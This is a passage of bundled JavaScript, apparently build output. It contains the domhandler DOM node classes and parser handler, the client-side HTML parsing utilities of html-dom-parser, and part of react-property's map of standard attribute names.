             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.prev;
            },
            set: function(prev) {
              this.prev = prev;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Node2.prototype, &quot;nextSibling&quot;, {
            /**
             * Same as {@link next}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.next;
            },
            set: function(next) {
              this.next = next;
            },
            enumerable: false,
            configurable: true
          });
          Node2.prototype.cloneNode = function(recursive) {
            if (recursive === void 0) {
              recursive = false;
            }
            return cloneNode(this, recursive);
          };
          return Node2;
        })()
      );
      exports.Node = Node;
      var DataNode = (
        /** @class */
        (function(_super) {
          __extends(DataNode2, _super);
          function DataNode2(data) {
            var _this = _super.call(this) || this;
            _this.data = data;
            return _this;
          }
          Object.defineProperty(DataNode2.prototype, &quot;nodeValue&quot;, {
            /**
             * Same as {@link data}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.data;
            },
            set: function(data) {
              this.data = data;
            },
            enumerable: false,
            configurable: true
          });
          return DataNode2;
        })(Node)
      );
      exports.DataNode = DataNode;
      var Text4 = (
        /** @class */
        (function(_super) {
          __extends(Text5, _super);
          function Text5() {
            var _this = _super !== null &amp;&amp; _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.Text;
            return _this;
          }
          Object.defineProperty(Text5.prototype, &quot;nodeType&quot;, {
            get: function() {
              return 3;
            },
            enumerable: false,
            configurable: true
          });
          return Text5;
        })(DataNode)
      );
      exports.Text = Text4;
      var Comment2 = (
        /** @class */
        (function(_super) {
          __extends(Comment3, _super);
          function Comment3() {
            var _this = _super !== null &amp;&amp; _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.Comment;
            return _this;
          }
          Object.defineProperty(Comment3.prototype, &quot;nodeType&quot;, {
            get: function() {
              return 8;
            },
            enumerable: false,
            configurable: true
          });
          return Comment3;
        })(DataNode)
      );
      exports.Comment = Comment2;
      var ProcessingInstruction2 = (
        /** @class */
        (function(_super) {
          __extends(ProcessingInstruction3, _super);
          function ProcessingInstruction3(name123, data) {
            var _this = _super.call(this, data) || this;
            _this.name = name123;
            _this.type = domelementtype_1.ElementType.Directive;
            return _this;
          }
          Object.defineProperty(ProcessingInstruction3.prototype, &quot;nodeType&quot;, {
            get: function() {
              return 1;
            },
            enumerable: false,
            configurable: true
          });
          return ProcessingInstruction3;
        })(DataNode)
      );
      exports.ProcessingInstruction = ProcessingInstruction2;
      var NodeWithChildren = (
        /** @class */
        (function(_super) {
          __extends(NodeWithChildren2, _super);
          function NodeWithChildren2(children) {
            var _this = _super.call(this) || this;
            _this.children = children;
            return _this;
          }
          Object.defineProperty(NodeWithChildren2.prototype, &quot;firstChild&quot;, {
            // Aliases
            /** First child of the node. */
            get: function() {
              var _a;
              return (_a = this.children[0]) !== null &amp;&amp; _a !== void 0 ? _a : null;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(NodeWithChildren2.prototype, &quot;lastChild&quot;, {
            /** Last child of the node. */
            get: function() {
              return this.children.length &gt; 0 ? this.children[this.children.length - 1] : null;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(NodeWithChildren2.prototype, &quot;childNodes&quot;, {
            /**
             * Same as {@link children}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.children;
            },
            set: function(children) {
              this.children = children;
            },
            enumerable: false,
            configurable: true
          });
          return NodeWithChildren2;
        })(Node)
      );
      exports.NodeWithChildren = NodeWithChildren;
      var CDATA = (
        /** @class */
        (function(_super) {
          __extends(CDATA2, _super);
          function CDATA2() {
            var _this = _super !== null &amp;&amp; _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.CDATA;
            return _this;
          }
          Object.defineProperty(CDATA2.prototype, &quot;nodeType&quot;, {
            get: function() {
              return 4;
            },
            enumerable: false,
            configurable: true
          });
          return CDATA2;
        })(NodeWithChildren)
      );
      exports.CDATA = CDATA;
      var Document = (
        /** @class */
        (function(_super) {
          __extends(Document2, _super);
          function Document2() {
            var _this = _super !== null &amp;&amp; _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.Root;
            return _this;
          }
          Object.defineProperty(Document2.prototype, &quot;nodeType&quot;, {
            get: function() {
              return 9;
            },
            enumerable: false,
            configurable: true
          });
          return Document2;
        })(NodeWithChildren)
      );
      exports.Document = Document;
      var Element2 = (
        /** @class */
        (function(_super) {
          __extends(Element3, _super);
          function Element3(name123, attribs, children, type) {
            if (children === void 0) {
              children = [];
            }
            if (type === void 0) {
              type = name123 === &quot;script&quot; ? domelementtype_1.ElementType.Script : name123 === &quot;style&quot; ? domelementtype_1.ElementType.Style : domelementtype_1.ElementType.Tag;
            }
            var _this = _super.call(this, children) || this;
            _this.name = name123;
            _this.attribs = attribs;
            _this.type = type;
            return _this;
          }
          Object.defineProperty(Element3.prototype, &quot;nodeType&quot;, {
            get: function() {
              return 1;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Element3.prototype, &quot;tagName&quot;, {
            // DOM Level 1 aliases
            /**
             * Same as {@link name}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.name;
            },
            set: function(name123) {
              this.name = name123;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Element3.prototype, &quot;attributes&quot;, {
            get: function() {
              var _this = this;
              return Object.keys(this.attribs).map(function(name123) {
                var _a, _b;
                return {
                  name: name123,
                  value: _this.attribs[name123],
                  namespace: (_a = _this[&quot;x-attribsNamespace&quot;]) === null || _a === void 0 ? void 0 : _a[name123],
                  prefix: (_b = _this[&quot;x-attribsPrefix&quot;]) === null || _b === void 0 ? void 0 : _b[name123]
                };
              });
            },
            enumerable: false,
            configurable: true
          });
          return Element3;
        })(NodeWithChildren)
      );
      exports.Element = Element2;
      function isTag(node) {
        return (0, domelementtype_1.isTag)(node);
      }
      exports.isTag = isTag;
      function isCDATA(node) {
        return node.type === domelementtype_1.ElementType.CDATA;
      }
      exports.isCDATA = isCDATA;
      function isText(node) {
        return node.type === domelementtype_1.ElementType.Text;
      }
      exports.isText = isText;
      function isComment(node) {
        return node.type === domelementtype_1.ElementType.Comment;
      }
      exports.isComment = isComment;
      function isDirective(node) {
        return node.type === domelementtype_1.ElementType.Directive;
      }
      exports.isDirective = isDirective;
      function isDocument(node) {
        return node.type === domelementtype_1.ElementType.Root;
      }
      exports.isDocument = isDocument;
      function hasChildren(node) {
        return Object.prototype.hasOwnProperty.call(node, &quot;children&quot;);
      }
      exports.hasChildren = hasChildren;
      function cloneNode(node, recursive) {
        if (recursive === void 0) {
          recursive = false;
        }
        var result;
        if (isText(node)) {
          result = new Text4(node.data);
        } else if (isComment(node)) {
          result = new Comment2(node.data);
        } else if (isTag(node)) {
          var children = recursive ? cloneChildren(node.children) : [];
          var clone_1 = new Element2(node.name, __assign2({}, node.attribs), children);
          children.forEach(function(child) {
            return child.parent = clone_1;
          });
          if (node.namespace != null) {
            clone_1.namespace = node.namespace;
          }
          if (node[&quot;x-attribsNamespace&quot;]) {
            clone_1[&quot;x-attribsNamespace&quot;] = __assign2({}, node[&quot;x-attribsNamespace&quot;]);
          }
          if (node[&quot;x-attribsPrefix&quot;]) {
            clone_1[&quot;x-attribsPrefix&quot;] = __assign2({}, node[&quot;x-attribsPrefix&quot;]);
          }
          result = clone_1;
        } else if (isCDATA(node)) {
          var children = recursive ? cloneChildren(node.children) : [];
          var clone_2 = new CDATA(children);
          children.forEach(function(child) {
            return child.parent = clone_2;
          });
          result = clone_2;
        } else if (isDocument(node)) {
          var children = recursive ? cloneChildren(node.children) : [];
          var clone_3 = new Document(children);
          children.forEach(function(child) {
            return child.parent = clone_3;
          });
          if (node[&quot;x-mode&quot;]) {
            clone_3[&quot;x-mode&quot;] = node[&quot;x-mode&quot;];
          }
          result = clone_3;
        } else if (isDirective(node)) {
          var instruction = new ProcessingInstruction2(node.name, node.data);
          if (node[&quot;x-name&quot;] != null) {
            instruction[&quot;x-name&quot;] = node[&quot;x-name&quot;];
            instruction[&quot;x-publicId&quot;] = node[&quot;x-publicId&quot;];
            instruction[&quot;x-systemId&quot;] = node[&quot;x-systemId&quot;];
          }
          result = instruction;
        } else {
          throw new Error(&quot;Not implemented yet: &quot;.concat(node.type));
        }
        result.startIndex = node.startIndex;
        result.endIndex = node.endIndex;
        if (node.sourceCodeLocation != null) {
          result.sourceCodeLocation = node.sourceCodeLocation;
        }
        return result;
      }
      exports.cloneNode = cloneNode;
      function cloneChildren(childs) {
        var children = childs.map(function(child) {
          return cloneNode(child, true);
        });
        for (var i2 = 1; i2 &lt; children.length; i2++) {
          children[i2].prev = children[i2 - 1];
          children[i2 - 1].next = children[i2];
        }
        return children;
      }
    }
  });

  // node_modules/html-dom-parser/node_modules/domhandler/lib/index.js
  var require_lib2 = __commonJS({
    &quot;node_modules/html-dom-parser/node_modules/domhandler/lib/index.js&quot;(exports) {
      &quot;use strict&quot;;
      var __createBinding = exports &amp;&amp; exports.__createBinding || (Object.create ? (function(o2, m2, k2, k22) {
        if (k22 === void 0) k22 = k2;
        var desc = Object.getOwnPropertyDescriptor(m2, k2);
        if (!desc || (&quot;get&quot; in desc ? !m2.__esModule : desc.writable || desc.configurable)) {
          desc = { enumerable: true, get: function() {
            return m2[k2];
          } };
        }
        Object.defineProperty(o2, k22, desc);
      }) : (function(o2, m2, k2, k22) {
        if (k22 === void 0) k22 = k2;
        o2[k22] = m2[k2];
      }));
      var __exportStar = exports &amp;&amp; exports.__exportStar || function(m2, exports2) {
        for (var p2 in m2) if (p2 !== &quot;default&quot; &amp;&amp; !Object.prototype.hasOwnProperty.call(exports2, p2)) __createBinding(exports2, m2, p2);
      };
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.DomHandler = void 0;
      var domelementtype_1 = require_lib();
      var node_js_1 = require_node();
      __exportStar(require_node(), exports);
      var defaultOpts = {
        withStartIndices: false,
        withEndIndices: false,
        xmlMode: false
      };
      var DomHandler = (
        /** @class */
        (function() {
          function DomHandler2(callback, options2, elementCB) {
            this.dom = [];
            this.root = new node_js_1.Document(this.dom);
            this.done = false;
            this.tagStack = [this.root];
            this.lastNode = null;
            this.parser = null;
            if (typeof options2 === &quot;function&quot;) {
              elementCB = options2;
              options2 = defaultOpts;
            }
            if (typeof callback === &quot;object&quot;) {
              options2 = callback;
              callback = void 0;
            }
            this.callback = callback !== null &amp;&amp; callback !== void 0 ? callback : null;
            this.options = options2 !== null &amp;&amp; options2 !== void 0 ? options2 : defaultOpts;
            this.elementCB = elementCB !== null &amp;&amp; elementCB !== void 0 ? elementCB : null;
          }
          DomHandler2.prototype.onparserinit = function(parser) {
            this.parser = parser;
          };
          DomHandler2.prototype.onreset = function() {
            this.dom = [];
            this.root = new node_js_1.Document(this.dom);
            this.done = false;
            this.tagStack = [this.root];
            this.lastNode = null;
            this.parser = null;
          };
          DomHandler2.prototype.onend = function() {
            if (this.done)
              return;
            this.done = true;
            this.parser = null;
            this.handleCallback(null);
          };
          DomHandler2.prototype.onerror = function(error) {
            this.handleCallback(error);
          };
          DomHandler2.prototype.onclosetag = function() {
            this.lastNode = null;
            var elem = this.tagStack.pop();
            if (this.options.withEndIndices) {
              elem.endIndex = this.parser.endIndex;
            }
            if (this.elementCB)
              this.elementCB(elem);
          };
          DomHandler2.prototype.onopentag = function(name123, attribs) {
            var type = this.options.xmlMode ? domelementtype_1.ElementType.Tag : void 0;
            var element = new node_js_1.Element(name123, attribs, void 0, type);
            this.addNode(element);
            this.tagStack.push(element);
          };
          DomHandler2.prototype.ontext = function(data) {
            var lastNode = this.lastNode;
            if (lastNode &amp;&amp; lastNode.type === domelementtype_1.ElementType.Text) {
              lastNode.data += data;
              if (this.options.withEndIndices) {
                lastNode.endIndex = this.parser.endIndex;
              }
            } else {
              var node = new node_js_1.Text(data);
              this.addNode(node);
              this.lastNode = node;
            }
          };
          DomHandler2.prototype.oncomment = function(data) {
            if (this.lastNode &amp;&amp; this.lastNode.type === domelementtype_1.ElementType.Comment) {
              this.lastNode.data += data;
              return;
            }
            var node = new node_js_1.Comment(data);
            this.addNode(node);
            this.lastNode = node;
          };
          DomHandler2.prototype.oncommentend = function() {
            this.lastNode = null;
          };
          DomHandler2.prototype.oncdatastart = function() {
            var text = new node_js_1.Text(&quot;&quot;);
            var node = new node_js_1.CDATA([text]);
            this.addNode(node);
            text.parent = node;
            this.lastNode = text;
          };
          DomHandler2.prototype.oncdataend = function() {
            this.lastNode = null;
          };
          DomHandler2.prototype.onprocessinginstruction = function(name123, data) {
            var node = new node_js_1.ProcessingInstruction(name123, data);
            this.addNode(node);
          };
          DomHandler2.prototype.handleCallback = function(error) {
            if (typeof this.callback === &quot;function&quot;) {
              this.callback(error, this.dom);
            } else if (error) {
              throw error;
            }
          };
          DomHandler2.prototype.addNode = function(node) {
            var parent = this.tagStack[this.tagStack.length - 1];
            var previousSibling = parent.children[parent.children.length - 1];
            if (this.options.withStartIndices) {
              node.startIndex = this.parser.startIndex;
            }
            if (this.options.withEndIndices) {
              node.endIndex = this.parser.endIndex;
            }
            parent.children.push(node);
            if (previousSibling) {
              node.prev = previousSibling;
              previousSibling.next = node;
            }
            node.parent = parent;
            this.lastNode = null;
          };
          return DomHandler2;
        })()
      );
      exports.DomHandler = DomHandler;
      exports.default = DomHandler;
    }
  });

  // node_modules/html-dom-parser/lib/client/constants.js
  var require_constants = __commonJS({
    &quot;node_modules/html-dom-parser/lib/client/constants.js&quot;(exports) {
      &quot;use strict&quot;;
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.CARRIAGE_RETURN_PLACEHOLDER_REGEX = exports.CARRIAGE_RETURN_PLACEHOLDER = exports.CARRIAGE_RETURN_REGEX = exports.CARRIAGE_RETURN = exports.CASE_SENSITIVE_TAG_NAMES_MAP = exports.CASE_SENSITIVE_TAG_NAMES = void 0;
      exports.CASE_SENSITIVE_TAG_NAMES = [
        &quot;animateMotion&quot;,
        &quot;animateTransform&quot;,
        &quot;clipPath&quot;,
        &quot;feBlend&quot;,
        &quot;feColorMatrix&quot;,
        &quot;feComponentTransfer&quot;,
        &quot;feComposite&quot;,
        &quot;feConvolveMatrix&quot;,
        &quot;feDiffuseLighting&quot;,
        &quot;feDisplacementMap&quot;,
        &quot;feDropShadow&quot;,
        &quot;feFlood&quot;,
        &quot;feFuncA&quot;,
        &quot;feFuncB&quot;,
        &quot;feFuncG&quot;,
        &quot;feFuncR&quot;,
        &quot;feGaussianBlur&quot;,
        &quot;feImage&quot;,
        &quot;feMerge&quot;,
        &quot;feMergeNode&quot;,
        &quot;feMorphology&quot;,
        &quot;feOffset&quot;,
        &quot;fePointLight&quot;,
        &quot;feSpecularLighting&quot;,
        &quot;feSpotLight&quot;,
        &quot;feTile&quot;,
        &quot;feTurbulence&quot;,
        &quot;foreignObject&quot;,
        &quot;linearGradient&quot;,
        &quot;radialGradient&quot;,
        &quot;textPath&quot;
      ];
      exports.CASE_SENSITIVE_TAG_NAMES_MAP = exports.CASE_SENSITIVE_TAG_NAMES.reduce(function(accumulator, tagName) {
        accumulator[tagName.toLowerCase()] = tagName;
        return accumulator;
      }, {});
      exports.CARRIAGE_RETURN = &quot;\r&quot;;
      exports.CARRIAGE_RETURN_REGEX = new RegExp(exports.CARRIAGE_RETURN, &quot;g&quot;);
      exports.CARRIAGE_RETURN_PLACEHOLDER = &quot;__HTML_DOM_PARSER_CARRIAGE_RETURN_PLACEHOLDER_&quot;.concat(Date.now(), &quot;__&quot;);
      exports.CARRIAGE_RETURN_PLACEHOLDER_REGEX = new RegExp(exports.CARRIAGE_RETURN_PLACEHOLDER, &quot;g&quot;);
    }
  });

  // node_modules/html-dom-parser/lib/client/utilities.js
  var require_utilities = __commonJS({
    &quot;node_modules/html-dom-parser/lib/client/utilities.js&quot;(exports) {
      &quot;use strict&quot;;
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.formatAttributes = formatAttributes;
      exports.escapeSpecialCharacters = escapeSpecialCharacters;
      exports.revertEscapedCharacters = revertEscapedCharacters;
      exports.formatDOM = formatDOM;
      var domhandler_1 = require_lib2();
      var constants_1 = require_constants();
      function getCaseSensitiveTagName(tagName) {
        return constants_1.CASE_SENSITIVE_TAG_NAMES_MAP[tagName];
      }
      function formatAttributes(attributes2) {
        var map = {};
        var index = 0;
        var attributesLength = attributes2.length;
        for (; index &lt; attributesLength; index++) {
          var attribute = attributes2[index];
          map[attribute.name] = attribute.value;
        }
        return map;
      }
      function formatTagName(tagName) {
        tagName = tagName.toLowerCase();
        var caseSensitiveTagName = getCaseSensitiveTagName(tagName);
        if (caseSensitiveTagName) {
          return caseSensitiveTagName;
        }
        return tagName;
      }
      function escapeSpecialCharacters(html) {
        return html.replace(constants_1.CARRIAGE_RETURN_REGEX, constants_1.CARRIAGE_RETURN_PLACEHOLDER);
      }
      function revertEscapedCharacters(text) {
        return text.replace(constants_1.CARRIAGE_RETURN_PLACEHOLDER_REGEX, constants_1.CARRIAGE_RETURN);
      }
      function formatDOM(nodes, parent, directive) {
        if (parent === void 0) {
          parent = null;
        }
        var domNodes = [];
        var current;
        var index = 0;
        var nodesLength = nodes.length;
        for (; index &lt; nodesLength; index++) {
          var node = nodes[index];
          switch (node.nodeType) {
            case 1: {
              var tagName = formatTagName(node.nodeName);
              current = new domhandler_1.Element(tagName, formatAttributes(node.attributes));
              current.children = formatDOM(
                // template children are on content
                tagName === &quot;template&quot; ? node.content.childNodes : node.childNodes,
                current
              );
              break;
            }
            case 3:
              current = new domhandler_1.Text(revertEscapedCharacters(node.nodeValue));
              break;
            case 8:
              current = new domhandler_1.Comment(node.nodeValue);
              break;
            default:
              continue;
          }
          var prev = domNodes[index - 1] || null;
          if (prev) {
            prev.next = current;
          }
          current.parent = parent;
          current.prev = prev;
          current.next = null;
          domNodes.push(current);
        }
        if (directive) {
          current = new domhandler_1.ProcessingInstruction(directive.substring(0, directive.indexOf(&quot; &quot;)).toLowerCase(), directive);
          current.next = domNodes[0] || null;
          current.parent = parent;
          domNodes.unshift(current);
          if (domNodes[1]) {
            domNodes[1].prev = domNodes[0];
          }
        }
        return domNodes;
      }
    }
  });

  // node_modules/html-dom-parser/lib/client/domparser.js
  var require_domparser = __commonJS({
    &quot;node_modules/html-dom-parser/lib/client/domparser.js&quot;(exports) {
      &quot;use strict&quot;;
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.default = domparser;
      var utilities_1 = require_utilities();
      var HTML = &quot;html&quot;;
      var HEAD = &quot;head&quot;;
      var BODY = &quot;body&quot;;
      var FIRST_TAG_REGEX = /&lt;([a-zA-Z]+[0-9]?)/;
      var HEAD_TAG_REGEX = /&lt;head[^]*&gt;/i;
      var BODY_TAG_REGEX = /&lt;body[^]*&gt;/i;
      var parseFromDocument = function(html, tagName) {
        throw new Error(&quot;This browser does not support `document.implementation.createHTMLDocument`&quot;);
      };
      var parseFromString = function(html, tagName) {
        throw new Error(&quot;This browser does not support `DOMParser.prototype.parseFromString`&quot;);
      };
      var DOMParser = typeof window === &quot;object&quot; &amp;&amp; window.DOMParser;
      if (typeof DOMParser === &quot;function&quot;) {
        domParser_1 = new DOMParser();
        mimeType_1 = &quot;text/html&quot;;
        parseFromString = function(html, tagName) {
          if (tagName) {
            html = &quot;&lt;&quot;.concat(tagName, &quot;&gt;&quot;).concat(html, &quot;&lt;/&quot;).concat(tagName, &quot;&gt;&quot;);
          }
          return domParser_1.parseFromString(html, mimeType_1);
        };
        parseFromDocument = parseFromString;
      }
      var domParser_1;
      var mimeType_1;
      if (typeof document === &quot;object&quot; &amp;&amp; document.implementation) {
        htmlDocument_1 = document.implementation.createHTMLDocument();
        parseFromDocument = function(html, tagName) {
          if (tagName) {
            var element = htmlDocument_1.documentElement.querySelector(tagName);
            if (element) {
              element.innerHTML = html;
            }
            return htmlDocument_1;
          }
          htmlDocument_1.documentElement.innerHTML = html;
          return htmlDocument_1;
        };
      }
      var htmlDocument_1;
      var template = typeof document === &quot;object&quot; &amp;&amp; document.createElement(&quot;template&quot;);
      var parseFromTemplate;
      if (template &amp;&amp; template.content) {
        parseFromTemplate = function(html) {
          template.innerHTML = html;
          return template.content.childNodes;
        };
      }
      function domparser(html) {
        var _a, _b;
        html = (0, utilities_1.escapeSpecialCharacters)(html);
        var match = html.match(FIRST_TAG_REGEX);
        var firstTagName = match &amp;&amp; match[1] ? match[1].toLowerCase() : &quot;&quot;;
        switch (firstTagName) {
          case HTML: {
            var doc = parseFromString(html);
            if (!HEAD_TAG_REGEX.test(html)) {
              var element = doc.querySelector(HEAD);
              (_a = element === null || element === void 0 ? void 0 : element.parentNode) === null || _a === void 0 ? void 0 : _a.removeChild(element);
            }
            if (!BODY_TAG_REGEX.test(html)) {
              var element = doc.querySelector(BODY);
              (_b = element === null || element === void 0 ? void 0 : element.parentNode) === null || _b === void 0 ? void 0 : _b.removeChild(element);
            }
            return doc.querySelectorAll(HTML);
          }
          case HEAD:
          case BODY: {
            var elements = parseFromDocument(html).querySelectorAll(firstTagName);
            if (BODY_TAG_REGEX.test(html) &amp;&amp; HEAD_TAG_REGEX.test(html)) {
              return elements[0].parentNode.childNodes;
            }
            return elements;
          }
          // low-level tag or text
          default: {
            if (parseFromTemplate) {
              return parseFromTemplate(html);
            }
            var element = parseFromDocument(html, BODY).querySelector(BODY);
            return element.childNodes;
          }
        }
      }
    }
  });

  // node_modules/html-dom-parser/lib/client/html-to-dom.js
  var require_html_to_dom = __commonJS({
    &quot;node_modules/html-dom-parser/lib/client/html-to-dom.js&quot;(exports) {
      &quot;use strict&quot;;
      var __importDefault = exports &amp;&amp; exports.__importDefault || function(mod) {
        return mod &amp;&amp; mod.__esModule ? mod : { &quot;default&quot;: mod };
      };
      Object.defineProperty(exports, &quot;__esModule&quot;, { value: true });
      exports.default = HTMLDOMParser;
      var domparser_1 = __importDefault(require_domparser());
      var utilities_1 = require_utilities();
      var DIRECTIVE_REGEX = /&lt;(![a-zA-Z\s]+)&gt;/;
      function HTMLDOMParser(html) {
        if (typeof html !== &quot;string&quot;) {
          throw new TypeError(&quot;First argument must be a string&quot;);
        }
        if (!html) {
          return [];
        }
        var match = html.match(DIRECTIVE_REGEX);
        var directive = match ? match[1] : void 0;
        return (0, utilities_1.formatDOM)((0, domparser_1.default)(html), null, directive);
      }
    }
  });

  // node_modules/react-property/lib/possibleStandardNamesOptimized.js
  var require_possibleStandardNamesOptimized = __commonJS({
    &quot;node_modules/react-property/lib/possibleStandardNamesOptimized.js&quot;(exports) {
      var SAME = 0;
      exports.SAME = SAME;
      var CAMELCASE = 1;
      exports.CAMELCASE = CAMELCASE;
      exports.possibleStandardNames = {
        accept: 0,
        acceptCharset: 1,
        &quot;accept-charset&quot;: &quot;acceptCharset&quot;,
        accessKey: 1,
        action: 0,
        allowFullScreen: 1,
        alt: 0,
        as: 0,
        async: 0,
        autoCapitalize: 1,
        autoComplete: 1,
        autoCorrect: 1,
        autoFocus: 1,
        autoPlay: 1,
        autoSave: 1,
        capture: 0,
        cellPadding: 1,
        cellSpacing: 1,
        challenge: 0,
        charSet: 1,
        checked: 0,
        children: 0,
        cite: 0,
        class: &quot;className&quot;,
        classID: 1,
        className: 1,
        cols: 0,
        colSpan: 1,
        content: 0,
        contentEditable: 1,
        contextMenu: 1,
        controls: 0,
        controlsList: 1,
        coords: 0,
        crossOrigin: 1,
        dangerouslySetInnerHTML: 1,
        data: 0,
        dateTime: 1,
        default: 0,
        defaultChecked: 1,
        defaultValue: 1,
        defer: 0,
        dir: 0,
        disabled: 0,
        disablePictureInPicture: 1,
        disableRemotePlayback: 1,
        download: 0,
        draggable: 0,
        encType: 1,
        enterKeyHint: 1,
        for: &quot;htmlFor&quot;,
        form: 0,
        formMethod: 1,
        formAction: 1,
        formEncType: 1,
        formNoValidate: 1,
        formTarget: 1,
        frameBorder: 1,
        headers: 0,
        height: 0,
        hidden: 0,
        high: 0,
        href: 0,
        hrefLang: 1,
        htmlFor: 1,
        httpEquiv: 1,
        &quot;http-equiv&quot;: &quot;httpEquiv&quot;,
        icon: 0,
        id: 0,
        innerHTML: 1,
        inputMode: 1,
        integrity: 0,
        is: 0,
        itemID: 1,
        itemProp: 1,
        itemRef: 1,
        itemScope: 1,
        itemType: 1,
        keyParams: 1,
        keyType: 1,
        kind: 0,
        label: 0,
        lang: 0,
        list: 0,
        loop: 0,
        low: 0,
        manifest: 0,
        marginWidth: 1,
        marginHeight: 1,
        max: 0,
        maxLength: 1,
        media: 0,
        mediaGroup: 1,
        method: 0,
        min: 0,
        minLength: 1,
        multiple: 0,
        muted: 0,
        name: 0,
        noModule: 1,
        nonce: 0,
        noValidate: 1,
        open: 0,
        optimum: 0,
        pattern: 0,
        placeholder: 0,
        playsInline: 1,
        poster: 0,
        preload: 0,
        profile: 0,
        radioGroup: 1,
        readOnly: 1,
        referrerPolicy: 1,
        rel: 0,
        required: 0,
        reversed: 0,
        role: 0,
        rows: 0,
        rowSpan: 1,
        sandbox: 0,
        scope: 0,
        scoped: 0,
        scrolling: 0,
        seamless: 0,
        selected: 0,
        shape: 0,
        size: 0,
        sizes: 0,
        span: 0,
        spellCheck: 1,
        src: 0,
        srcDoc: 1,
        srcLang: 1,
        srcSet: 1,
        start: 0,
        step: 0,
        style: 0,
        summary: 0,
        tabIndex: 1,
        target: 0,
        title: 0,
        type: 0,
        useMap: 1,
        value: 0,
        width: 0,
        wmode: 0,
        wrap: 0,
        about: 0,
        accentHeight: 1,
        &quot;accent-height&quot;: &quot;accentHeight&quot;,
        accumulate: 0,
        additive: 0,
        alignmentBaseline: 1,
        &quot;alignment-baseline&quot;: &quot;alignmentBaseline&quot;,
        allowReorder: 1,
        alphabetic: 0,
        amplitude: 0,
        arabicForm: 1,
        &quot;arabic-form&quot;: &quot;arabicForm&quot;,
        ascent: 0,
        attributeName: 1,
        attributeType: 1,
        autoReverse: 1,
        azimuth: 0,
        baseFrequency: 1,
        baselineShift: 1,
        &quot;baseline-shift&quot;: &quot;baselineShift&quot;,
        baseProfile: 1,
        bbox: 0,
        begin: 0,
        bias: 0,
        by: 0,
        calcMode: 1,
        capHeight: 1,
        &quot;cap-height&quot;: &quot;capHeight&quot;,
        clip: 0,
        clipPath: 1,
        &quot;clip-path&quot;: &quot;clipPath&quot;,
        clipPathUnits: 1,
        clipRule: 1,
        &quot;clip-rule&quot;: &quot;clipRule&quot;,
        color: 0,
        colorInterpolation: 1,
        &quot;color-interpolation&quot;: &quot;colorInterpolation&quot;,
        colorInterpolationFilters: 1,
        &quot;color-interpolation-filters&quot;: &quot;colorInterpolationFilters&quot;,
        colorProfile: 1,
        &quot;color-profile&quot;: &quot;colorProfile&quot;,
        colorRendering: 1,
        &quot;color-rendering&quot;: &quot;colorRendering&quot;,
        contentScriptType: 1,
        contentStyleType: 1,
        cursor: 0,
        cx: 0,
        cy: 0,
        d: 0,
        datatype: 0,
        decelerate: 0,
        descent: 0,
        diffuseConstant: 1,
        direction: 0,
        display: 0,
        divisor: 0,
        dominantBaseline: 1,
        &quot;dominant-baseline&quot;: &quot;dominantBaseline&quot;,
        dur: 0,
        dx: 0,
        dy: 0,
        edgeMode: 1,
        elevation: 0,
        enableBackground: 1,
        &quot;enable-background&quot;: &quot;enableBackground&quot;,
        end: 0,
        exponent: 0,
        externalResourcesRequired: 1,
        fill: 0,
        fillOpacity: 1,
        &quot;fill-opacity&quot;: &quot;fillOpacity&quot;,
        fillRule: 1,
        &quot;fill-rule&quot;: &quot;fillRule&quot;,
        filter: 0,
        filterRes: 1,
        filterUnits: 1,
        floodOpacity: 1,
        &quot;flood-opacity&quot;: &quot;floodOpacity&quot;,
        floodColor: 1,
        &quot;flood-color&quot;: &quot;floodColor&quot;,
        focusable: 0,
        fontFamily: 1,
        &quot;font-family&quot;: &quot;fontFamily&quot;,
        fontSize: 1,
        &quot;font-size&quot;: &quot;fontSize&quot;,
        fontSizeAdjust: 1,
        &quot;font-size-adjust&quot;: &quot;fontSizeAdjust&quot;,
        fontStretch: 1,
        &quot;font-stretch&quot;: &quot;fontStretch&quot;,
        fontStyle: 1,
        &quot;font-style&quot;: &quot;fontStyle&quot;,
        fontVariant: 1,
        &quot;font-variant&quot;: &quot;fontVariant&quot;,
        fontWeight: 1,
        &quot;font-weight&quot;: &quot;fontWeight&quot;,
        format: 0,
        from: 0,
        fx: 0,
        fy: 0,
        g1: 0,
        g2: 0,
        glyphName: 1,
        &quot;glyph-name&quot;: &quot;glyphName&quot;,
        glyphOrientationHorizontal: 1,
        &quot;glyph-orientation-horizontal&quot;: &quot;glyphOrientationHorizontal&quot;,
        glyphOrientationVertical: 1,
        &quot;glyph-orientation-vertical&quot;: &quot;glyphOrientationVertical&quot;,
        glyphRef: 1,
        gradientTransform: 1,
        gradientUnits: 1,
        hanging: 0,
        horizAdvX: 1,
        &quot;horiz-adv-x&quot;: &quot;horizAdvX&quot;,
        horizOriginX: 1,
        &quot;horiz-origin-x&quot;: &quot;horizOriginX&quot;,
        ideographic: 0,
        imageRendering: 1,
        &quot;image-rendering&quot;: &quot;imageRendering&quot;,
        in2: 0,
        in: 0,
        inlist: 0,
        intercept: 0,
        k1: 0,
        k2: 0,
        k3: 0,
        k4: 0,
        k: 0,
        kernelMatrix: 1,
        kernelUnitLength: 1,
        kerning: 0,
        keyPoints: 1,
        keySplines: 1,
        keyTimes: 1,
        lengthAdjust: 1,
        letterSpacing: 1,
        &quot;letter-spacing&quot;: &quot;letterSpacing&quot;,
        lightingColor: 1,
        &quot;lighting-color&quot;: &quot;lightingColor&quot;,
